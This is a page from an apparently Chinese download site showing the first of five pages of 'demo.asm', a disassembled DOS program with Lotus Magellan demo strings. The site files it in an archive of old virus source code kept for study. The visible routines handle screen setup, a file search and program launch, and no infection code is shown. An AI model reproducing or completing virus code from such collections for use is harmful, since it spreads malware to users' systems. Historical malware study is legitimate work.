⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 demo.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 5 页
字号:
  
PAGE  59,132
  
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹								         圹
;圹			        DEMO				         圹
;圹								         圹
;圹      Created:   2-Mar-89					         圹
;圹      Version:						         圹
;圹      Passes:    5	       Analysis Options on: ABFOP	         圹
;圹      Copyright (C) 1986					         圹
;圹								         圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
  
movseg		 macro reg16, unused, Imm16     ; Fixup for Assembler
		 ifidn	<reg16>, <bx>
		 db	0BBh
		 endif
		 ifidn	<reg16>, <cx>
		 db	0B9h
		 endif
		 ifidn	<reg16>, <dx>
		 db	0BAh
		 endif
		 ifidn	<reg16>, <si>
		 db	0BEh
		 endif
		 ifidn	<reg16>, <di>
		 db	0BFh
		 endif
		 ifidn	<reg16>, <bp>
		 db	0BDh
		 endif
		 ifidn	<reg16>, <sp>
		 db	0BCh
		 endif
		 ifidn	<reg16>, <BX>
		 db	0BBH
		 endif
		 ifidn	<reg16>, <CX>
		 db	0B9H
		 endif
		 ifidn	<reg16>, <DX>
		 db	0BAH
		 endif
		 ifidn	<reg16>, <SI>
		 db	0BEH
		 endif
		 ifidn	<reg16>, <DI>
		 db	0BFH
		 endif
		 ifidn	<reg16>, <BP>
		 db	0BDH
		 endif
		 ifidn	<reg16>, <SP>
		 db	0BCH
		 endif
		 dw	seg Imm16
endm
DATA_1E		EQU	2CH			; (97DE:002C=0)
DATA_17E	EQU	0AC71H			; (97DE:AC71=0FFFFH)
  
SEG_A		SEGMENT	BYTE PUBLIC
		ASSUME	CS:SEG_A, DS:SEG_A
  
  
		ORG	100h
  
DEMO		PROC	FAR
  
START:
		JMP	LOC_31			; (24E1)
		OR	AX,2020H
		AND	[DI],CL
		OR	CL,[SI+4FH]
		PUSH	SP
		PUSH	BP
		PUSH	BX
		AND	[BX+SI+41H],CL
		DEC	SP
		AND	[SI+65H],AL
		DB	'monstration', 0DH, 0AH
COPYRIGHT	DB	'Copyright (C) 1986'
		DB	0DH, 0AH, 'Lotus Development Corp'
		DB	'oration', 0DH, 0AH, 'Singular So'
		DB	'lutions & GNP', 0DH, 0AH, 'All R'
		DB	'ights Reserved', 0DH, 0AH, 'Rele'
		DB	'ase 1.00', 0DH, 0AH
		DB	 1AH, 0DH
DATA_4		DB	0AH, 'Please wait ...', 0DH, 0AH, '$'
		DB	'MAGELLAN.DAT', 0
		DB	'MAGELLAN.DBD', 0
		DB	0DH, 0AH, 0AH, 'Cannot find MAGEL'
		DB	'LAN.DAT$'
		DB	0DH, 0AH, 0AH, 'Cannot find MAGEL'
		DB	'LAN.DBD$'
DATA_7		DB	80 DUP (0)
DATA_8		DB	0FCH
		DB	 20H, 00H
		DB	139 DUP (0)
		DB	'  -arg mono'
		DB	 00H, 00H, 49H, 02H
DATA_10		DW	0
		DB	 5CH, 00H
DATA_11		DW	0
		DB	 6CH, 00H
DATA_12		DW	0
  
DEMO		ENDP
  
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;
;			External Entry Point
;
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
  
INT_23H_ENTRY	PROC	FAR
		MOV	AX,600H
		MOV	BH,7
		XOR	CX,CX			; Zero register
		MOV	DX,184FH
		INT	10H			; Video display   ah=functn 06h
						;  scroll up, al=lines
		MOV	AH,2
		MOV	BH,0
		XOR	DX,DX			; Zero register
		INT	10H			; Video display   ah=functn 02h
						;  set cursor location in dx
		MOV	AX,4C01H
		INT	21H			; DOS Services  ah=function 4Ch
						;  terminate with al=return code
		MOV	AX,2523H
		MOV	DX,2F0H
		INT	21H			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		CALL	SUB_3			; (03B1)
		MOV	SP,414H
		PUSHF				; Push flags
		MOV	AH,9
		MOV	DX,195H
		INT	21H			; DOS Services  ah=function 09h
						;  display char string at ds:dx
		MOV	AX,1B4H
		CALL	SUB_4			; (0495)
		MOV	DX,1DDH
		JC	LOC_5			; Jump if carry Set
		MOV	BX,AX
		MOV	AH,3EH			; '>'
		INT	21H			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		PUSH	CS
		POP	ES
		MOV	SI,1F9H
		MOV	DI,24BH
		CLD				; Clear direction
LOC_2:
		INC	DATA_8			; (97DE:0249=0FCH)
		LODSB				; String [si] to al
		STOSB				; Store al to es:[di]
		OR	AL,AL			; Zero ?
		JNZ	LOC_2			; Jump if not zero
		SUB	DI,5
		MOV	SI,2D7H
		MOV	CX,1
		ADD	DATA_8,CL		; (97DE:0249=0FCH)
		REP	MOVSB			; Rep when cx >0 Mov [si] to es:[di]
		POPF				; Pop flags
		JC	LOC_3			; Jump if carry Set
		MOV	SI,2D8H
		MOV	CX,0AH
		ADD	DATA_8,CL		; (97DE:0249=0FCH)
		REP	MOVSB			; Rep when cx >0 Mov [si] to es:[di]
LOC_3:
		MOV	BYTE PTR [DI],0DH
		MOV	AX,1A7H
		CALL	SUB_4			; (0495)
		JC	LOC_4			; Jump if carry Set
		MOV	BX,AX
		MOV	AH,3EH			; '>'
		INT	21H			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		MOV	BX,SP
		ADD	BX,0FH
		MOV	CL,4
		SHR	BX,CL			; Shift w/zeros fill
		PUSH	CS
		POP	ES
		MOV	AH,4AH			; 'J'
		INT	21H			; DOS Services  ah=function 4Ah
						;  change mem allocation, bx=siz
		MOV	AX,CS
		MOV	ES,AX
		MOV	DATA_10,AX		; (97DE:02E6=0)
		MOV	DATA_11,AX		; (97DE:02EA=0)
		MOV	DATA_12,AX		; (97DE:02EE=0)
		MOV	AX,4B00H
		MOV	DX,1F9H
		MOV	BX,2E2H
		INT	21H			; DOS Services  ah=function 4Bh
						;  run progm @ds:dx, parm @es:bx
		MOV	AX,CS
		MOV	SS,AX
		MOV	SP,39DH
		MOV	DS,AX
		JNC	LOC_6			; Jump if carry=0
LOC_4:
		MOV	DX,1C1H
LOC_5:
		MOV	AH,9
		INT	21H			; DOS Services  ah=function 09h
						;  display char string at ds:dx
LOC_6:
		MOV	AX,4C00H
		INT	21H			; DOS Services  ah=function 4Ch
						;  terminate with al=return code
DATA_13		DB	0
INT_23H_ENTRY	ENDP
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
SUB_3		PROC	NEAR
		MOV	AH,0FH
		INT	10H			; Video display   ah=functn 0Fh
						;  get state, al=mode, bh=page
		MOV	DATA_13,AL		; (97DE:03B0=0)
		CMP	AL,2
		JAE	LOC_7			; Jump if above or =
		ADD	AL,2
		MOV	AH,0
		INT	10H			; Video display   ah=functn 00h
						;  set display mode in al
LOC_7:
		XOR	DX,DX			; Zero register
		MOV	SI,5A0H
		CMP	DATA_13,7		; (97DE:03B0=0)
		JNE	LOC_8			; Jump if not equal
		MOV	SI,1540H
LOC_8:
		PUSH	DX
		PUSH	SI
		MOV	AH,2
		XOR	BH,BH			; Zero register
		INT	10H			; Video display   ah=functn 02h
						;  set cursor location in dx
		POP	SI
		CLD				; Clear direction
		LODSW				; String [si] to ax
		PUSH	SI
		MOV	BL,AH
		XOR	BH,BH			; Zero register
		MOV	AH,9
		MOV	CX,1
		INT	10H			; Video display   ah=functn 09h
						;  set char al & attrib bl @curs
		POP	SI
		POP	DX
		INC	DX
		CMP	DL,50H			; 'P'
		JB	LOC_8			; Jump if below
		INC	DH
		MOV	DL,0
		CMP	DH,19H
		JB	LOC_8			; Jump if below
		MOV	AH,2
		MOV	BH,0
		MOV	DX,1900H
		INT	10H			; Video display   ah=functn 02h
						;  set cursor location in dx
LOC_9:
		MOV	AX,0C08H
		INT	21H			; DOS Services  ah=function 0Ch
						;  clear keybd buffer & input al
		CMP	DATA_13,7		; (97DE:03B0=0)
		JE	LOC_11			; Jump if equal
		CMP	AL,4DH			; 'M'
		JE	LOC_11			; Jump if equal
		CMP	AL,6DH			; 'm'
		JE	LOC_11			; Jump if equal
		CMP	AL,43H			; 'C'
		JE	LOC_10			; Jump if equal
		CMP	AL,63H			; 'c'
		JE	LOC_10			; Jump if equal
		MOV	AX,0E07H
		XOR	BL,BL			; Zero register
		INT	10H			; Video display   ah=functn 0Eh
						;  write char al, teletype mode
		JMP	SHORT LOC_9		; (0402)
LOC_10:
		STC				; Set carry flag
		JMP	SHORT LOC_12		; (042B)
LOC_11:
		CLC				; Clear carry flag
LOC_12:
		PUSHF				; Push flags
		MOV	AX,600H
		MOV	BH,7
		XOR	CX,CX			; Zero register
		MOV	DX,184FH
		INT	10H			; Video display   ah=functn 06h
						;  scroll up, al=lines
		MOV	AH,2
		MOV	BH,0
		XOR	DX,DX			; Zero register
		INT	10H			; Video display   ah=functn 02h
						;  set cursor location in dx
		POPF				; Pop flags
		RETN
SUB_3		ENDP
  
		DB	81 DUP (0)
DATA_15		DW	0
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
SUB_4		PROC	NEAR
		MOV	DATA_15,AX		; (97DE:0493=0)
		MOV	DI,443H
		CALL	SUB_5			; (0529)
		JNC	LOC_RET_18		; Jump if carry=0
		MOV	ES,DS:DATA_1E		; (97DE:002C=0)
		XOR	SI,SI			; Zero register
		CMP	BYTE PTR ES:[SI],50H	; 'P'
		JE	LOC_21			; Jump if equal
LOC_13:
		CMP	WORD PTR ES:[SI],5000H
		JE	LOC_20			; Jump if equal
LOC_14:
		INC	SI
		CMP	WORD PTR ES:[SI-1],0
		JNE	LOC_13			; Jump if not equal
		MOV	AH,30H			; '0'
		INT	21H			; DOS Services  ah=function 30h
						;  get DOS version number ax
		CMP	AL,3
		JB	LOC_17			; Jump if below
		MOV	DI,443H
		XOR	CX,CX			; Zero register
LOC_15:
		MOV	AL,ES:[SI+3]
		INC	SI
		MOV	[DI],AL
		INC	DI
		INC	CX
		OR	AL,AL			; Zero ?
		JNZ	LOC_15			; Jump if not zero
  
LOCLOOP_16:
		CMP	BYTE PTR [DI-1],3AH	; ':'
		JE	LOC_19			; Jump if equal
		CMP	BYTE PTR [DI-1],5CH	; '\'
		JE	LOC_19			; Jump if equal
		DEC	DI
		LOOP	LOCLOOP_16		; Loop if cx > 0
  
LOC_17:
		STC				; Set carry flag
  
LOC_RET_18:
		RETN
LOC_19:
		CALL	SUB_5			; (0529)
		RETN
LOC_20:
		INC	SI
LOC_21:
		INC	SI
		CMP	WORD PTR ES:[SI],5441H
		JNE	LOC_14			; Jump if not equal
		INC	SI
		INC	SI
		CMP	WORD PTR ES:[SI],3D48H
		JNE	LOC_14			; Jump if not equal
		INC	SI
		INC	SI
LOC_22:
		MOV	DI,443H
LOC_23:
		MOV	AL,ES:[SI]
		CMP	AL,0
		JE	LOC_24			; Jump if equal
		INC	SI
		MOV	[DI],AL
		INC	DI
		CMP	AL,3BH			; ';'
		JNE	LOC_23			; Jump if not equal
		DEC	DI
		CMP	DI,443H
		JE	LOC_22			; Jump if equal
		CALL	SUB_5			; (0529)
		JC	LOC_22			; Jump if carry Set
		RETN
LOC_24:
		CMP	DI,443H
		JE	LOC_14			; Jump if equal
		CALL	SUB_5			; (0529)
		JC	LOC_14			; Jump if carry Set
		RETN
SUB_4		ENDP
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
SUB_5		PROC	NEAR
		MOV	WORD PTR [DI],0
		MOV	BX,445H
		MOV	AX,[BX-2]
		CMP	AH,3AH			; ':'
		JE	LOC_25			; Jump if equal
		MOV	AH,19H
		INT	21H			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		CBW				; Convrt byte to word
		ADD	AX,3A41H
		DEC	BX

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -